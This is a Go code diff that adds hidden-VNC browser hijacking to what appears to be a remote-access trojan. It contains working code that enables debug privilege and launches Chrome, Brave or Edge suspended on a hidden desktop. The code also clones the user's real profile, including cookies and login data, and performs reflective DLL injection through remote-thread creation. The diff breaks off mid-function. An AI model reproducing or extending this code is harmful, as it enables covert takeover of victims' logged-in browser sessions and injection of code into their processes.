|
||||
#endif // _HVNC_SEH_COMPAT_H
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
@@ -0,0 +1,656 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procOpenProcess = kernel32.NewProc("OpenProcess")
|
||||
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
||||
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
|
||||
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
||||
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
|
||||
procCloseHandle = kernel32.NewProc("CloseHandle")
|
||||
procResumeThread = kernel32.NewProc("ResumeThread")
|
||||
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
|
||||
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
|
||||
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
|
||||
)
|
||||
|
||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
|
||||
const (
|
||||
PROCESS_CREATE_THREAD = 0x0002
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
PROCESS_VM_OPERATION = 0x0008
|
||||
PROCESS_VM_WRITE = 0x0020
|
||||
PROCESS_VM_READ = 0x0010
|
||||
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
|
||||
MEM_COMMIT = 0x1000
|
||||
MEM_RESERVE = 0x2000
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
|
||||
INFINITE_WAIT = 0xFFFFFFFF
|
||||
|
||||
TOKEN_ADJUST_PRIVILEGES = 0x0020
|
||||
TOKEN_QUERY = 0x0008
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
|
||||
CREATE_SUSPENDED = 0x00000004
|
||||
CREATE_UNICODE_ENVIRONMENT = 0x00000400
|
||||
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
|
||||
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||
)
|
||||
|
||||
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||
func enableDebugPrivilege() {
|
||||
var hToken uintptr
|
||||
currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
|
||||
ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
|
||||
if ret == 0 {
|
||||
return
|
||||
}
|
||||
defer procCloseHandle.Call(hToken)
|
||||
|
||||
seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
|
||||
type luid struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
type luidAndAttributes struct {
|
||||
Luid luid
|
||||
Attributes uint32
|
||||
}
|
||||
type tokenPrivileges struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges luidAndAttributes
|
||||
}
|
||||
var tp tokenPrivileges
|
||||
tp.PrivilegeCount = 1
|
||||
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
|
||||
if ret == 0 {
|
||||
return
|
||||
}
|
||||
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
|
||||
}
|
||||
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
if len(dllBytes) == 0 {
|
||||
return fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return result.err
|
||||
}
|
||||
|
||||
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
|
||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||
// If clone is false, it starts the browser with injection but no path redirection.
|
||||
// browser should be one of: "chrome", "brave", "edge".
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
|
||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown browser %q", browser)
|
||||
}
|
||||
|
||||
if exePath == "" {
|
||||
exePath = findBrowserExe(info)
|
||||
if exePath == "" {
|
||||
return fmt.Errorf("%s not found", info.name)
|
||||
}
|
||||
}
|
||||
|
||||
if !clone {
|
||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
||||
}
|
||||
|
||||
realUserData := getBrowserUserDataDir(info)
|
||||
if realUserData == "" {
|
||||
return fmt.Errorf("could not determine %s user data directory", info.name)
|
||||
}
|
||||
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
||||
|
||||
cloneDir, err := cloneBrowserProfile(info.name, realUserData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("profile clone failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
|
||||
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
name string
|
||||
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
||||
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
||||
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
||||
}
|
||||
|
||||
var browserInfoMap = map[string]browserInfo{
|
||||
"chrome": {
|
||||
name: "Chrome",
|
||||
exePaths: []string{
|
||||
`\Google\Chrome\Application\chrome.exe`,
|
||||
},
|
||||
userData: `Google\Chrome\User Data`,
|
||||
},
|
||||
"brave": {
|
||||
name: "Brave",
|
||||
exePaths: []string{
|
||||
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||
},
|
||||
userData: `BraveSoftware\Brave-Browser\User Data`,
|
||||
},
|
||||
"edge": {
|
||||
name: "Edge",
|
||||
exePaths: []string{
|
||||
`\Microsoft\Edge\Application\msedge.exe`,
|
||||
},
|
||||
userData: `Microsoft\Edge\User Data`,
|
||||
},
|
||||
}
|
||||
|
||||
func findBrowserExe(info browserInfo) string {
|
||||
roots := []string{
|
||||
os.Getenv("ProgramFiles"),
|
||||
os.Getenv("ProgramFiles(x86)"),
|
||||
os.Getenv("LOCALAPPDATA"),
|
||||
}
|
||||
for _, root := range roots {
|
||||
if root == "" {
|
||||
continue
|
||||
}
|
||||
for _, suffix := range info.exePaths {
|
||||
p := root + suffix
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getBrowserUserDataDir(info browserInfo) string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if info.useAppData {
|
||||
base = os.Getenv("APPDATA")
|
||||
}
|
||||
if base == "" {
|
||||
return ""
|
||||
}
|
||||
dir := filepath.Join(base, info.userData)
|
||||
if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
|
||||
return dir
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// cloneBrowserProfile clones the browser user data directory, skipping only
|
||||
// large cache directories that aren't needed for a functional session.
|
||||
// This preserves extensions, cookies, login data, local storage, etc.
|
||||
func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
|
||||
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||
// Remove any previous cloned profile directories so we always use fresh data
|
||||
tmpDir := os.TempDir()
|
||||
if old, err := os.ReadDir(tmpDir); err == nil {
|
||||
for _, e := range old {
|
||||
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
|
||||
p := filepath.Join(tmpDir, e.Name())
|
||||
log.Printf("hvnc %s: removing old clone %s", browserName, p)
|
||||
os.RemoveAll(p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
|
||||
if err := os.MkdirAll(cloneBase, 0700); err != nil {
|
||||
return "", fmt.Errorf("mkdir clone: %v", err)
|
||||
}
|
||||
|
||||
// Directories to skip — these are large caches that aren't needed
|
||||
skipDirs := map[string]bool{
|
||||
"cache": true,
|
||||
"code cache": true,
|
||||
"gpucache": true,
|
||||
"service worker": true,
|
||||
"crashpad": true,
|
||||
"blob_storage": true,
|
||||
"jumplisterrors": true,
|
||||
"optimization_guide_prediction_model_downloads": true,
|
||||
"segmentation_platform": true,
|
||||
"commerce_local_db": true,
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(srcUserData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read user data dir: %v", err)
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
name := entry.Name()
|
||||
src := filepath.Join(srcUserData, name)
|
||||
dst := filepath.Join(cloneBase, name)
|
||||
|
||||
if entry.IsDir() {
|
||||
// For profile directories (Default, Profile N), clone contents but skip caches inside
|
||||
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||
if isProfile {
|
||||
if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
|
||||
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
|
||||
}
|
||||
} else if !skipDirs[strings.ToLower(name)] {
|
||||
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
|
||||
if err := copyDir(src, dst); err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Top-level files (Local State, etc.)
|
||||
if err := copyFile(src, dst); err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cloneBase, nil
|
||||
}
|
||||
|
||||
// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
|
||||
func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
|
||||
if err := os.MkdirAll(dst, 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
entries, err := os.ReadDir(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
name := entry.Name()
|
||||
s := filepath.Join(src, name)
|
||||
d := filepath.Join(dst, name)
|
||||
|
||||
if entry.IsDir() {
|
||||
if skipDirs[strings.ToLower(name)] {
|
||||
continue
|
||||
}
|
||||
if err := copyDir(s, d); err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
}
|
||||
} else {
|
||||
if err := copyFile(s, d); err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil // skip errors
|
||||
}
|
||||
rel, _ := filepath.Rel(src, path)
|
||||
target := filepath.Join(dst, rel)
|
||||
if info.IsDir() {
|
||||
return os.MkdirAll(target, 0700)
|
||||
}
|
||||
return copyFile(path, target)
|
||||
})
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
if len(dllBytes) == 0 {
|
||||
return fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||
|
||||
// Inject the reflective DLL
|
||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||
procCloseHandle.Call(hProcess)
|
||||
procCloseHandle.Call(hThread)
|
||||
// Try to kill the process
|
||||
terminateProcess(hProcess)
|
||||
return fmt.Errorf("DLL injection failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
// Resume the main thread
|
||||
ret, _, _ := procResumeThread.Call(hThread)
|
||||
if ret == 0xFFFFFFFF {
|
||||
procCloseHandle.Call(hThread)
|
||||
return fmt.Errorf("failed to resume thread")
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func terminateProcess(hProcess uintptr) {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||
}
|
||||
|
||||
var si startupInfo
|
||||
var pi processInformation
|
||||
si.cb = uint32(unsafe.Sizeof(si))
|
||||
si.lpDesktop = desktopNamePtr
|
||||
si.dwX = 0
|
||||
si.dwY = 0
|
||||
si.dwFlags = STARTF_USEPOSITION
|
||||
|
||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
||||
}
|
||||
|
||||
ret, _, callErr := procCreateProcessW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&cmdLine[0])),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
|
||||
uintptr(unsafe.Pointer(&envBlock[0])),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&si)),
|
||||
uintptr(unsafe.Pointer(&pi)),
|
||||
)
|
||||
if ret == 0 {
|
||||
if callErr != nil {
|
||||
return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
|
||||
}
|
||||
return 0, 0, 0, fmt.Errorf("CreateProcess failed")
|
||||
}
|
||||
|
||||
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
||||
}
|
||||
|
||||
func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
|
||||
envStrings := syscall.Environ()
|
||||
|
||||
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
||||
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
||||
|
||||
var block []uint16
|
||||
for _, s := range envStrings {
|
||||
u, err := syscall.UTF16FromString(s)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
block = append(block, u...)
|
||||
}
|
||||
block = append(block, 0)
|
||||
return block, nil
|
||||
}
|
||||
|
||||
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
|
||||
remoteBase, _, _ := procVirtualAllocEx.Call(
|
||||
hProcess,
|
||||
0,
|
||||
uintptr(len(dllBytes)),
|
||||
MEM_RESERVE|MEM_COMMIT,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if remoteBase == 0 {
|
||||
return fmt.Errorf("VirtualAllocEx failed")
|
||||
}
|
||||
|
||||
var bytesWritten uintptr
|
||||
ret, _, _ := procWriteProcessMemory.Call(
|
||||
hProcess,
|
||||
remoteBase,
|
||||
uintptr(unsafe.Pointer(&dllBytes[0])),
|
||||
uintptr(len(dllBytes)),
|
||||
uintptr(unsafe.Pointer(&bytesWritten)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory failed")
|
||||
}
|
||||
|
||||
remoteLoader := remoteBase + uintptr(loaderOffset)
|
||||
|
||||
var threadID uintptr
|
||||
hThread, _, _ := procCreateRemoteThread.Call(
|
||||
hProcess,
|
||||
0,
|
||||
1024*1024,
|
||||
remoteLoader,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&threadID)),
|
||||
)
|
||||
if hThread == 0 {
|
||||
return fmt.Errorf("CreateRemoteThread failed")
|
||||
}
|
||||
|
||||
procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||
if len(pe) < 64 {
|
||||
return 0, fmt.Errorf("PE too small")
|
||||
}
|
||||
|
||||
if pe[0] != 'M' || pe[1] != 'Z' {
|
||||
return 0, fmt.Errorf("invalid DOS signature")
|
||||
}
|
||||
lfanew := binary.LittleEndian.Uint32(pe[60:64])
|
||||
if int(lfanew)+4 > len(pe) {
|
||||
return 0, fmt.Errorf("invalid e_lfanew")
|
||||
}
|
||||
|
||||
sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
|
||||
if sig != 0x00004550 {
|
||||
return 0, fmt.Errorf("invalid PE signature")
|
||||
}
|
||||
|
||||
coffOff := lfanew + 4
|
||||
if int(coffOff)+20 > len(pe) {
|
||||
return 0, fmt.Errorf("PE too small for COFF header")
|
||||
}
|
||||
numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
|
||||
sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
|
||||
|
||||
optOff := coffOff + 20
|
||||
if int(optOff)+2 > len(pe) {
|
||||
return 0, fmt.Errorf("PE too small for optional header")
|
||||
}
|
||||
magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
|
||||
|
||||
var exportDirRVA uint32
|
||||
switch magic {
|
||||
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
|
||||
ddOff := optOff + 112
|
||||
if int(ddOff)+8 > len(pe) {
|
||||
return 0, fmt.Errorf("PE too small for data directory")
|
||||
}
|
||||
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
|
||||
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
|
||||
// PE32 - export directory is at offset 96 in optional header
|
||||
ddOff := optOff + 96
|
||||
if int(ddOff)+8 > len(pe) {
|
||||
return 0, fmt.Errorf("PE too small for data directory")
|
||||
}
|
||||
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
|
||||
default:
|
||||
return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
|
||||
}
|
||||
|
||||
if exportDirRVA == 0 {
|
||||
return 0, fmt.Errorf("no export directory")
|
||||
}
|
||||
|
||||
sectionOff := optOff + uint32(sizeOfOptionalHeader)
|
||||
|
||||
exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
|
||||
if exportDirFileOff == 0 {
|
||||
return 0, fmt.Errorf("failed to resolve export directory RVA")
|
||||
}
|
||||
|
||||
if int(exportDirFileOff)+40 > len(pe) {
|
||||
return 0, fmt.Errorf("PE too small for export directory")
|
||||
}
|
||||
numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
|
||||
addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
|
||||
addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
|
||||
addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
|
||||
|
||||
namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
|
||||
funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
|
||||
ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
|
||||
if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
|
||||
return 0, fmt.Errorf("failed to resolve export table RVAs")
|
||||
}
|
||||
|
||||
for i := uint32(0); i < numberOfNames; i++ {
|
||||
nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
|
||||
nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
|
||||
if nameFileOff == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
name := readCString(pe, nameFileOff)
|
||||
if contains(name, "ReflectiveLoader") {
|
||||
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
|
||||
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
|
||||
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||
}
|
||||
|
||||
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
off := sectionOff + uint32(i)*40
|
||||
if int(off)+40 > len(pe) {
|
||||
break
|
||||
}
|
||||
virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
|
||||
virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
|
||||
rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
|
||||
rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
|
||||
_ = virtualSize
|
||||
|
||||
if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
|
||||
return rva - virtualAddr + rawDataPtr
|
||||
}
|
||||
}
|
||||
if numSections > 0 {
|
||||
firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
|
||||
if rva < firstSectionRawPtr {
|
||||
return rva
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func readCString(data []byte, offset uint32) string {
|
||||
end := offset
|
||||
for int(end) < len(data) && data[end] != 0 {
|
||||
end++
|
||||
}
|
||||
return string(data[offset:end])
|
||||
}
|
||||
|
||||
func contains(s, substr string) bool {
|
||||
if len(substr) > len(s) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i <= len(s)-len(substr); i++ {
|
||||
if s[i:i+len(substr)] == substr {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -174,6 +174,7 @@ type hvncTaskKind int
|
||||
const (
|
||||
hvncTaskCapture hvncTaskKind = iota
|
||||
hvncTaskStartProcess
|
||||
hvncTaskStartProcessInjected
|
||||
hvncTaskMouseMove
|
||||
hvncTaskMouseDown
|
||||
hvncTaskMouseUp
|
||||
@@ -183,17 +184,20 @@ const (
|
||||
)
|
||||
|
||||
type hvncTask struct {
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
}
|
||||
|
||||
type hvncTaskResult struct {
|
||||
@@ -412,6 +416,8 @@ func ensureHVNCThread() error {
|
||||
switch task.kind {
|
||||
case hvncTaskStartProcess:
|
||||
result.err = startHVNCProcessOnThread(task.filePath)
|
||||
case hvncTaskStartProcessInjected:
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
|
||||
case hvncTaskMouseMove:
|
||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case hvncTaskMouseDown:
|
||||
@@ -580,7 +586,7 @@ func hvncThreadWatchdog() {
|
||||
|
||||
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
||||
switch kind {
|
||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess:
|
||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
@@ -593,6 +599,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
|
||||
return "capture"
|
||||
case hvncTaskStartProcess:
|
||||
return "start_process"
|
||||
case hvncTaskStartProcessInjected:
|
||||
return "start_process_injected"
|
||||
case hvncTaskMouseMove:
|
||||
return "mouse_move"
|
||||
case hvncTaskMouseDown:
|
||||
@@ -620,6 +628,8 @@ func hvncTaskDetails(task hvncTask) string {
|
||||
return fmt.Sprintf("delta=%d", task.delta)
|
||||
case hvncTaskStartProcess:
|
||||
return fmt.Sprintf("cmd=%q", task.filePath)
|
||||
case hvncTaskStartProcessInjected:
|
||||
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
@@ -1148,18 +1158,17 @@ func endHVNCWindowDrag(screenPt point) {
|
||||
|
||||
func hvncMouseWheelOnThread(delta int32) error {
|
||||
pt := currentHVNCCursor()
|
||||
hwnd := getWorkingWindow()
|
||||
hwnd := windowFromPoint(pt)
|
||||
if hwnd == 0 {
|
||||
hwnd = windowFromPoint(pt)
|
||||
hwnd = getWorkingWindow()
|
||||
if hwnd == 0 {
|
||||
return nil
|
||||
}
|
||||
setWorkingWindow(hwnd)
|
||||
}
|
||||
clientPt := pt
|
||||
procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
|
||||
wparam := uintptr(uint16(delta)) << 16
|
||||
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y))
|
||||
// WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
|
||||
// WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
|
||||
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
||||
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -444,6 +444,21 @@ func writeVoiceDownlink(data []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractDLLBytes(payload map[string]interface{}) []byte {
|
||||
if payload == nil {
|
||||
return nil
|
||||
}
|
||||
switch v := payload["dll"].(type) {
|
||||
case []byte:
|
||||
return v
|
